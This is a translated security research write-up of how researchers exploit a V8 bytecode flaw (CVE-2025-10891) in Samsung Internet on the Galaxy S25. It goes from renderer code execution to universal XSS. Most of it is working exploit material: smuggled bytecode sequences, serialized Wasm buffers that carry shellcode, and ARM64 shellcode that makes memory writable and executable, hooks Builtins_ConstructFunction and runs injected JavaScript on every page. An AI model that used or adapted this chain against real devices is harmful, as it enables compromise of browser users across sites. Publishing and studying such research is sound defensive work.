从补丁间隙到移动端渲染器RCE:攻陷Galaxy S25上Samsung Internet的V8引擎
研究人员利用三星Galaxy S25上Samsung Internet浏览器中V8引擎的补丁间隙漏洞(CVE-2025-10891),通过Ignition字节码的try/catch处理器偏移截断漏洞,实现了远程代码执行。
引言
当今软件生态中的供应链依赖极其复杂。核心库中的任何漏洞都会为其依赖者创造一个可利用的窗口——维护者要么跟不上令人疲惫的更新节奏,要么错误地反向移植,甚至完全忘记。
V8 就是一个这样的例子,它是一个广泛用于基于 Chromium 和 Node.js 的软件中的 JavaScript 引擎。我们与 Crusaders of Rust 安全研究小组合作,决定分析三星 Galaxy S25 上三星浏览器(三星手机的默认浏览器)中 V8 的版本,希望找到 n-day 漏洞利用机会。
寻找 V8 版本
我们首先通过 adb 从设备上拉取三星浏览器的 APK,并检查其自带的库。
提取 APK 后,我们在 lib/ 目录中搜索 v8::* 符号:
$ grep -r 'v8::' lib/
grep: lib/arm64-v8a/libterrace.so: 二进制文件匹配
只有一个文件匹配我们的搜索:libterrace.so。然后我们将其加载到反编译器中仔细检查,在那里我们找到了捆绑的 V8 版本:
令人惊讶的是,这个 13.6.233.10 版本在当时已经过时了六个月,并且有多个公开已知的漏洞影响它。
选择漏洞
我们能够在本地编译的与目标版本匹配的 d8 上触发几个漏洞。其中之一是 CVE-2025-5419——一个存储-存储消除错误,我们设法在设备上使其工作。然而,利用需要堆喷射,这在移植到手机时会导致严重的稳定性问题。
另一个是 CVE-2025-10891——Ignition 字节码解释器中的一个漏洞。这个漏洞很有吸引力,因为在 V8 沙箱模型下字节码被认为是可信的,这意味着不需要单独的 Übercage 绕过。鉴于此,我们决定进一步探索这个漏洞。
Ignition 字节码介绍
V8 最初使用 Ignition 解释器将所有 JS 代码编译成字节码格式。 这是一个简单的基于寄存器的虚拟机,具有固定大小的操作码(以及用于增加操作数宽度的前缀字节)。例如:
let a = 1;
let b = 0x0fff;
let c = 0x0fffffff;
let d = 0xffffffff;
编译为:
# 将 Smi `1` 加载到累加器中
0 : 0d 01 LdaSmi [1]
# 将其存储到寄存器 0
2 : ce Star0
# 将 2 字节 Smi `0xfff` 加载到累加器
3 : 00 0d ff 0f LdaSmi.Wide [4095]
# 将其存储到寄存器 1
7 : cd Star1
# 将 4 字节 Smi `0xfffffff` 加载到累加器
8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]
# 将其存储到寄存器 2
14 : cc Star2
# `0xffffffff` 无法放入 Smi,因此在函数的常量池中分配了一个 `HeapNumber` 并加载
15 : 13 00 LdaConstant [0]
# 将其存储到寄存器 3
17 : cb Star3
18 : 0e LdaUndefined
19 : b3 Return
然后,Ignition 字节码会根据所需的优化量依次传递给 Sparkplug、Maglev 和 Turbofan JIT 编译器。1
CVE-2025-10891
该漏洞在于 try/catch 块的处理。这些块在函数中被编码为 [start, end) => handler 偏移量的列表——如果在给定的字节码地址范围内抛出异常,就会跳转到 handler。考虑以下 try/catch 及其编译后的字节码:
try {
throw 1;
} catch {
let b = 2;
}
0 : 1b ff f8 Mov <context>, r1
# try 块开始
# ---------------------------------
3 : 0d 01 LdaSmi [1]
5 : b1 Throw
# ---------------------------------
6 : 10 LdaTheHole
7 : b0 SetPendingMessage
# catch 处理器开始
8 : 0d 02 LdaSmi [2]
10 : ce Star0
11 : 0e LdaUndefined
12 : b3 Return
处理器表 (大小 = 16)
from to hdlr (prediction, data)
( 3, 6) -> 6 (prediction=1, data=1)
然而,handler 偏移量存储在一个 28 位的位字段中。如果 catch 块的地址无法放入 28 位,它将被静默截断。这将导致跳转到代码的完全不同的部分——甚至可能跳到指令的中间。
正如初始报告中所建议的,生成足够大函数的一种简单方法是发出许多 yield* 语句,因为这会极大地增加 Ignition 字节码的大小。
利用
常量走私
我们最初的利用方法受到“shellcode 走私”技术的启发——当在浏览器利用中实现任意读写时,我们通常可以 JIT 编译一个如下函数:
let a = -9.255963134931783e61;
let b = -9.255963134931783e61;
let c = -9.255963134931783e61;
let d = -9.255963134931783e61;
这些浮点常量将编译为机器代码内的 8 字节常量(其中最后 2 个用于跳转到下一个常量)。
我们将在这里使用类似的原理,尽管限制更多。有了这个:
let a = 0x0693bebe;
我们将编译字节码:
01 0d be be 93 06 LdaSmi.ExtraWide
然后我们可以跳转到第 3 个字节(0xbe),并控制 2 个字节的执行,后面跟着 0x93 0x02 - 0xf(Jump +[2-15])以跳转到下一个常量。
注意:跳跃常量会随着后续存储指令因存储到更深寄存器而变长而变化。存储到寄存器 1-15 产生简单的单字节
StarX指令,寄存器 16-121 产生两字节Star rX指令,下一批产生 4 字节Star.ExtraWide rX指令。
有了这些短跳转,我们实际上可以构建一个由类似 0x8931111 的常量组成的大型跳转滑板:
let a206 = 0x8931111;
let a207 = 0x8931111;
let a208 = 0x8931111;
let a209 = 0x8931111;
let a210 = 0x8931111;
let a211 = 0x8931111;
let a212 = 0x8931111;
这些指令产生:
00: LdaTrue;
01: LdaTrue;
02: Jump +8; >------------+
04: Star rX + LdaSmi ... |
v--------------------------+
0a: LdaTrue;
0b: LdaTrue;
注意:
Jump指令的偏移量被加到指令的 开始。
现在,LdaSmi.ExtraWide 指令的 6 个字节中有 3 个对于合并到走私的任意 Ignition 字节码中是有效的。这个滑板使利用开发变得容易得多,因为任何额外的代码都会导致异常表产生新的偏移量。
利用目标
最初我们考虑使用 Star/Ldar 指令存储到越界的寄存器索引,因为寄存器存储在常规堆栈上。然而,只有 2 个字节,我们只能访问 +/- 0x7f 寄存器,这不足以让我们越界访问有趣的值。
我们意识到寄存器偏移量 0 和 1 分别包含保存的帧指针和返回地址。我们考虑利用这一点进行堆栈旋转和 ROP。然而,有许多缺点——主要是,我们需要多次泄露二进制地址和 JS 堆(以构建一个带有假栈帧的缓冲区)。
此外,解释器期望所有值都是标记的 V8 值(即 32 位压缩指针或 Smi)。这意味着对 64 位地址进行操作可能会导致令人惊讶的截断或“去标记”扩展。
最后,基于 ROP/堆栈旋转的方法在从我们的 x86_64 开发机器移植到 aarch64 目标设备时会造成大量工作,并且考虑到 Galaxy S25 上存在 PAC 和 BTI,可能甚至不可行。
此时,我们识别出一个有趣的操作码:CallRuntime。运行时函数用于实现许多核心 V8 功能,并且是向字节码公开(但不向用户公开,除非启用 --allow-natives-syntax)的本机函数。许多运行时函数允许强大的功能,因为输入被认为是可信的,但有一个特别突出:DeserializeWasmModule。
WebAssembly 模块可以在内部由运行时序列化和反序列化——这种序列化格式包括任何 JIT 编译函数 的原始机器代码。DeserializeWasmModule/SerializeWasmModule 本身仅从测试函数中使用,并且确实已从最近的 V8 生产构建中移除,因为这些功能的可滥用性。
然而,调用这个操作码代表了一个重大挑战:
CallRuntime <func-id> <args> <argc>
这里,func-id 是一个 2 字节的函数 ID,args 是传递的最后一个寄存器的索引,argc 是传递的参数数量(例如,传递 r0、r1 和 r2 将被编码为 <r2> <3>)。这需要控制 5 个字节——此外,我们还需要安全地将累加器存储到一个寄存器中,然后将值返回给 JS 代码。
更好的字节码控制
幸运的是,Ignition 中的算术指令有一个称为“反馈向量槽”的特性,它存储性能分析信息,供后续 Turbofan 优化使用。从观察来看,对于 AddSmi 指令,它表示到目前为止对目标值执行的操作次数。
例如,我们可以查看下面的 Ignition 反汇编:
2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]
2006 : cd Star1
2007 : 00 1b ff ff 1d ff Mov.Wide <context>, r220
2013 : 0b f8 Ldar r1
2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]
2025 : 0b f8 Ldar r1
2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]
2037 : 0b f8 Ldar r1
2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]
2049 : 0b f8 Ldar r1
2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]
2061 : 0b f8 Ldar r1
2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]
我们可以看到每次操作反馈向量槽都会递增。这意味着通过一个通过 AddSmi.ExtraWide 走私的跳转滑板,在给定足够多的加法指令的情况下,我们可以控制几乎 8 个字节(由于 SMI 约束)。
最终,我们可以达到这样的阶段:
4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]
如果你跳过前两个字节,你得到:
CallRuntime(0x6c) 调用DeserializeWasmModule(0x0266),从寄存器a2(0x4) 开始,有 2 个参数 (0x2)。这变为调用:DeserializeWasmModule(a2, a1)。- 一个 Jump 指令。
返回 JS
调用后,结果存储在累加器中。由于这个函数是一个异步生成器,我们必须 yield 结果,但这会产生一长串我们不可能走私的指令。
这里的解决方案很简单:我们使用走私的控制流合并回正常的控制流,这将我们引导到来自原始 JS 的 yield。例如,在我们的利用中,所有加法都在一个 try 块中完成:
try {
${'a1 + 0xa931111;'.repeat(0x059302 - 1)}
a1 + 0x0402666c;
throw 0x393e91a;
} catch (e) {
console.log("foo");
yield a16;
}
从最终的 AddSmi 开始:
4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]
4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]
4385790 : b1 Throw
4385791 : 00 1a 1a ff Star.Wide r223
AddSmi 中走私的跳转将把我们重定向到 1a e9 93 03,这产生:
Star r16(将累加器存储到 r16)。Jump跳过 throw 进入 catch 相关代码。
这将把我们很好地带到最终的 yield a16,现在我们有了一个带有我们自己任意机器代码的反序列化 Wasm 模块。
执行 shellcode
为了测试,我们首先序列化一个小型 WebAssembly 模块并打印生成的 Uint8Array:
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,
0, 0, 10, 4, 1, 2, 0, 11,
]);
var mod = new WebAssembly.Module(wasm_code);
var inst = new WebAssembly.Instance(mod);
var func = inst.exports.shell;
%WasmTierUpFunction(func);
var serialized = %SerializeWasmModule(mod);
let result = new Uint8Array(serialized);
console.log('[' + result.join(', ') + ']');
这将产生以下输出:
[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]
字节 85, 72, 137, 229, ... 对应于 x86-64 函数序言(push rbp; mov rbp, rsp)。我们将第一个字节替换为 0xcc(int3 操作码),并使用这个修改后的缓冲区作为 DeserializeWasmModule 的序列化输入:
(async () => {
const wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,
0, 0, 10, 4, 1, 2, 0, 11,
]);
const buffer = new Uint8Array([
147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,
0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,
0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,
195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,
]);
let r = bug(wasm_code, buffer.buffer);
result = (await r.next()).value;
const wasm_instance = new WebAssembly.Instance(result);
const f = wasm_instance.exports.shell;
f();
})();
在调试器中运行它显示预期的断点:
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00002ae46bfc1841 in ?? ()
────────────────────────────────────────────────────────────────────────────
0x2ae46bfc183c add BYTE PTR [rax], al
0x2ae46bfc183e add BYTE PTR [rax], al
0x2ae46bfc1840 int3
→ 0x2ae46bfc1841 mov rbp, rsp
移植到 Android
序列化的 x86-64 代码不能在设备上使用,因为架构不同,并且 DeserializeWasmModule 会失败。我们为 arm64 交叉编译了 d8 并在那里序列化了模块,但这在设备上仍然不起作用,DeserializeWasmModule 返回了 undefined。
相反,我们修改了字节码,直接在设备上调用 SerializeWasmModule。这个想法是在设备上序列化代码,然后将结果字节反馈回调用 DeserializeWasmModule 的原始字节码。修改后的 try 块是:
try {
${'a1 + 0xa931111;'.repeat(0x059301 - 1)}
a1 + 0x03027a6c;
throw 0x393e71a;
} catch (e) {
console.log("foo");
yield a16;
}
这里,a1 + 0x03027a6c 生成字节 01 4b 6c 7a 02 03,其中 0x6c 是 CallRuntime 操作码,0x027a 是 SerializeWasmModule 的函数 ID,0x03 是保存其第一个参数的寄存器索引。
我们之前序列化 wasm 模块的 JavaScript 片段使用了两个原生调用:SerializeWasmModule 和 WasmTierUpFunction。为了避免再次修补字节码以调用 WasmTierUpFunction,我们可以像这样强制 Turbofan 编译目标函数:
// %WasmTierUpFunction(func);
for (let i = 0; i < 0x100000; i++) {
func();
}
最后,在设备上运行这段代码:
(async () => {
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,
0, 0, 10, 4, 1, 2, 0, 11,
]);
var mod = new WebAssembly.Module(wasm_code);
var inst = new WebAssembly.Instance(mod);
var func = inst.exports.shell;
// %WasmTierUpFunction(func);
for (let i = 0; i < 0x100000; i++) {
func();
}
let r = bug(mod);
result = (await r.next()).value;
console.log(result);
let result_bytes = new Uint8Array(result);
console.log('[' + result_bytes.join(', ') + ']');
})();
我们得到了序列化的字节:
现在我们可以将这个输出嵌入到调用 DeserializeWasmModule 的原始字节码中:
(async () => {
const wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,
0, 0, 10, 4, 1, 2, 0, 11,
]);
const buffer = new Uint8Array([
146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,
0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,
0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,
213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,
255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 92, 50, 162, 0,
]);
let r = bug(wasm_code, buffer.buffer);
result = (await r.next()).value;
console.log('DeserializeWasmModule result: ' + result);
const wasm_instance = new WebAssembly.Instance(result);
const f = wasm_instance.exports.shell;
console.log(f);
})();
这次,它按预期工作了:
实现通用 XSS
此时,我们在渲染器进程中拥有任意的 shellcode 执行。虽然通常利用到此为止,进一步访问需要浏览器沙箱逃逸,但我们决定探索一条替代路线,称为 UXSS,受腾讯安全的这个演讲和 InterruptLabs 的研究文章的启发。
与普通的 XSS 不同,UXSS 或通用 XSS 是一种客户端浏览器利用,可以在网站的所有页面中实现任意 JavaScript 注入。通常,桌面 Chromium 上的站点隔离可以防止这种情况,因为每个站点最终会进入不同的渲染器进程,但 Android 特别具有这种缓解措施的较弱版本——只有带有登录信息和 COOP 头的站点会按进程隔离。这意味着大多数网页都在同一个渲染器进程中,因此对解释器的任何补丁都会影响所有页面并导致 UXSS。这仍然是一种相当强大的能力!
为了实现 UXSS,我们需要修补一个在站点加载期间被调用的函数,以便我们可以运行我们的 XSS 载荷。在调试过程中,我们观察到我们访问的每个站点最终都会调用 Builtins_ConstructFunction,使其成为一个自然的目标。
我们的目标是让 Builtins_ConstructFunction 首先执行我们的 XSS 载荷,然后继续其正常行为。为此,我们按如下方式 hook 它:
- 利用的 shellcode 修补前几条指令,以将执行重定向到我们的 mmap 映射的 shellcode,该 shellcode 运行 XSS 载荷。
- 完成后,mmap 映射的 shellcode 恢复
Builtins_ConstructFunction中的原始指令。 - 然后 mmap 映射的 shellcode 返回到
Builtins_ConstructFunction的开头,该函数现在正常进行。
实现这一点的 ARM64 shellcode 如下所示:
// 将返回地址放入 x0
ldr x0, [sp, #0x18]
// 从返回地址去除 pac 签名
.arch armv8.3-a; xpaci x0
// 存储 x5 = Builtins_ConstructFunction
movz x1, #0x610c
sub x0, x0, x1
mov x5, x0
// 存储 x4 = 页对齐的 ConstructFunction
movz x1, #0xf000
movk x1, #0xffff, lsl #16
movk x1, #0xffff, lsl #32
and x4, x5, x1
// mprotect 页对齐的 ConstructFunction 为 RWX
mov x0, x4
mov x1, #0x2000
mov x2, #0x7
mov x8, #226
svc #0
mov x6, x5
// mmap RWX 用于跳转目标 (uxss_sc)
mov x0, #0
mov x1, #0x1000
mov x2, #0x7
mov x3, #34
mov x4, #-1
mov x5, #0
mov x8, #222
svc #0
mov x5, x0
// 此时:
// x6 = Builtins_ConstructFunction
// x5 = uxss_sc 的 mmap 页面
// 将 uxss_sc 写入 mmap 的 rwx 页面
{write_sc(uxss_sc, "x5")}
// 从缓存中清除
mov x0, x5
{WIPE_CACHE}
// 修补 Builtins_ConstructFunction
{write_sc(new_compile_instrs, "x6")}
// 并在新指令上方添加一个指向 uxss_sc 的指针
str x5, [x6, #{5 * INSTR_SIZE}]
// 从缓存中清除
mov x0, x6
{WIPE_CACHE}
在上面的代码片段中,new_compile_instrs 指的是写入 Builtins_ConstructFunction 开头的指令,这些指令调用 mmap 映射的 uxss_sc shellcode:
bti c
// 存储将被覆盖的寄存器
stp x15, lr, [sp, #-16]!
// 将当前 rip 放入 x15
adr x15, .
// 加载新指令上方保存的 uxss_sc 指针
ldr x15, [x15, #{3 * INSTR_SIZE}]
// 跳转到 uxss_sc
blr x15
uxss_sc 是被修补的 Builtins_ConstructFunction 调用的 mmap 映射 shellcode,用于执行我们的 XSS 载荷。其序言如下所示:
bti c
// 保存完整的寄存器上下文
stp x0, x1, [sp, #-16]!
stp x2, x3, [sp, #-16]!
stp x4, x5, [sp, #-16]!
stp x6, x7, [sp, #-16]!
stp x8, x9, [sp, #-16]!
stp x10, x11, [sp, #-16]!
stp x12, x13, [sp, #-16]!
stp x14, x15, [sp, #-16]!
stp x16, x17, [sp, #-16]!
stp x18, x19, [sp, #-16]!
stp x20, x21, [sp, #-16]!
stp x22, x23, [sp, #-16]!
stp x24, x25, [sp, #-16]!
stp x26, x27, [sp, #-16]!
stp x28, x29, [sp, #-16]!
str lr, [sp, #-16]!
所有寄存器都保存到堆栈,因为我们不知道后续调用的函数可能会破坏哪些寄存器。
末尾恢复所有保存的寄存器,恢复 Builtins_ConstructFunction 中的原始指令,然后将执行返回到其开头:
// 恢复 Builtins_ConstructFunction 的原始指令
ldr lr, [sp], #16
// 将 lr 移动到 Builtins_ConstructFunction 的开头
sub lr, lr, #{5 * INSTR_SIZE}
{write_sc(orig_compile_instrs, "lr")}
// 从缓存中清除
mov x0, lr
{WIPE_CACHE}
// 恢复原始寄存器
ldp x28, x29, [sp], #16
ldp x26, x27, [sp], #16
ldp x24, x25, [sp], #16
ldp x22, x23, [sp], #16
ldp x20, x21, [sp], #16
ldp x18, x19, [sp], #16
ldp x16, x17, [sp], #16
ldp x14, x15, [sp], #16
ldp x12, x13, [sp], #16
ldp x10, x11, [sp], #16
ldp x8, x9, [sp], #16
ldp x6, x7, [sp], #16
ldp x4, x5, [sp], #16
ldp x2, x3, [sp], #16
ldp x0, x1, [sp], #16
// Builtins_ConstructFunction 不关心 x4 并立即覆盖它,
// 因此我们可以破坏它并将其用作返回寄存器。
// 这样做是为了不破坏 lr,并且 ConstructFunction 知道
// 在哪里返回
mov x4, lr
// x15 和 lr 已在修补后的 Builtins_ConstructFunction 中保存
ldp x15, lr, [sp], #16
ret x4
此时,我们已经成功 hook 了 Builtins_ConstructFunction,并且每当从 uxss_sc 主体内调用它时,都可以执行任意的 shellcode。出于我们的目的,我们想要评估一个任意的 JavaScript 字符串以实现 UXSS,我们为此检查的第一个函数是 Builtins_GlobalEval。
Builtins_GlobalEval 接受一个 String 参数并对其进行评估。然而,它带来了一些复杂性。一个值得注意的问题是它会检查内容安全策略 (CSP) 是否允许使用 eval:
BUILTIN(GlobalEval) {
[...]
if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {
isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);
return ReadOnlyRoots(isolate).undefined_value();
}
这意味着我们需要进一步修补该函数以确保它永远不会进入这个 if 块。
或者,我们可以复制安全检查通过后进行的调用:
BUILTIN(GlobalEval) {
[...]
DirectHandle<JSFunction> function;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, function,
Compiler::GetFunctionFromValidatedString(
direct_handle(target->native_context(), isolate), source,
NO_PARSE_RESTRICTION, kNoSourcePosition));
RETURN_RESULT_OR_FAILURE(
isolate, Execution::Call(isolate, function, target_global_proxy, {}));
但是,确定正确的 target 值、获取 target->native_context() 以及定位 direct_handle 函数,仅仅是为了正确调用 Compiler::GetFunctionFromValidatedString,似乎不必要的繁琐。
相反,我们找到了一个没有安全检查的更简单选项:DebugEvaluate::Global。DevTools 控制台使用此函数来评估在其中输入的 JavaScript。
对于我们的需求,调用它很简单:
MaybeDirectHandle<Object> DebugEvaluate::Global(Isolate* isolate,
Handle<String> source,
debug::EvaluateGlobalMode mode,
REPLMode repl_mode);
我们必须提供 isolate 指针、一个包含我们的 XSS 载荷的 String 对象作为 source,以及 mode 和 repl_mode 值,它们是简单的枚举字面量。
为了在我们的 shellcode 中获取 isolate 指针,我们调用 Isolate::TryGetCurrent(),它返回当前的 isolate。为了构造一个包含我们载荷的有效 String 对象,我们调用 v8::String::NewFromUTF8。这个 NewFromUTF8 函数接受四个参数:isolate、作为 data 的字符串字节、指定字符串类型的枚举字面量以及 data 缓冲区大小的 length。
执行我们 XSS 载荷的结果 shellcode 如下所示:
// 获取 isolate 指针,v8::Isolate::TryGetCurrent(0x9ba3bd0)
movz x1, #0xf7a0
movk x1, #0x0071, lsl #16
add x9, x12, x1
movz x1, #0x5ac8
movk x1, #0x054f, lsl #16
add x0, x12, x1
blr x9
// *x0 是 isolate 指针
// 将 isolate 指针存储到堆栈
ldr x13, [x0]
str x13, [sp, #-16]!
// 存储 x10 = v8::String::NewFromUTF8
movz x1, #0x1140
movk x1, #0x0242, lsl #16
sub x10, x12, x1
// mmap 一个 RW 页面用于我们的 xss 载荷
mov x0, #0
mov x1, #{page_align(len(XSS_PAYLOAD))}
mov x2, #3
mov x3, #34
mov x4, #-1
mov x5, #0
mov x8, #222
svc #0
// 将我们的 xss 载荷写入 mmap 的 rw 页面
{write_str(XSS_PAYLOAD, "x0")}
// 存储 x11 = XSS_PAYLOAD 字符串
mov x11, x0
// 弹出 isolate 指针
ldr x13, [sp], #16
// 此时:
// x13 = isolate *
// x11 = XSS_PAYLOAD 字符串的 mmap 区域
// x10 = v8::String::NewFromUtf8
// 使用我们的 xss_payload 调用 v8::String::NewFromUTF8
// arg0 = isolate *
mov x0, x13
// arg1 = char *c_str
mov x1, x11
// arg2 = type = kNormal
mov x2, #0
// arg4 = length
mov w3, #{len(XSS_PAYLOAD)}
// 调用 NewFromUTF8
blr x10
// 存储 x14 = String XSS_PAYLOAD
mov x14, x0
// 存储 x9 = v8::internal::DebugEvaluate::Global
movz x1, #0xe44c
movk x1, #0x014e, lsl #16
sub x9, x12, x1
// 调用 v8::internal::DebugEvaluate::Global
// arg0 = isolate *
mov x0, x13
// arg1 = String *source
mov x1, x14
// arg2 = mode = kDefault
mov x2, #0
// arg3 = repl_mode = kYes
mov x3, #0
blr x9
UXSS 演示
下面是一个演示,执行 UXSS 载荷 alert(document.domain); window.location.href = "https://cor.team/";:
你的浏览器不支持视频标签。
结论
鉴于现代软件生态的复杂性,在流行应用中发现核心库过时版本并不出人意料。三星浏览器依赖于一个六个月前版本的 V8,这是一个研究人员经常发现新漏洞的 JavaScript 引擎,为我们提供了很大的 n-day 利用窗口。
虽然渲染器漏洞通常与另一个漏洞(如沙箱逃逸)链式利用,但我们通过针对移动端较弱的站点隔离机制,推动了该漏洞的能力。由于大多数网页运行在同一个进程下,我们可以向 JavaScript 解释器注入 shellcode,以在三星浏览器中实现通用 XSS。
脚注
- 是的,V8 有四个编译器,都是为了让那些懒散的开发者继续“工程”他们那些消耗 RAM、耗尽 CPU 的 web 应用,这些应用已经困扰了现代互联网。↩
- 原文链接: osec.io/blog/patch-gap-t...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~




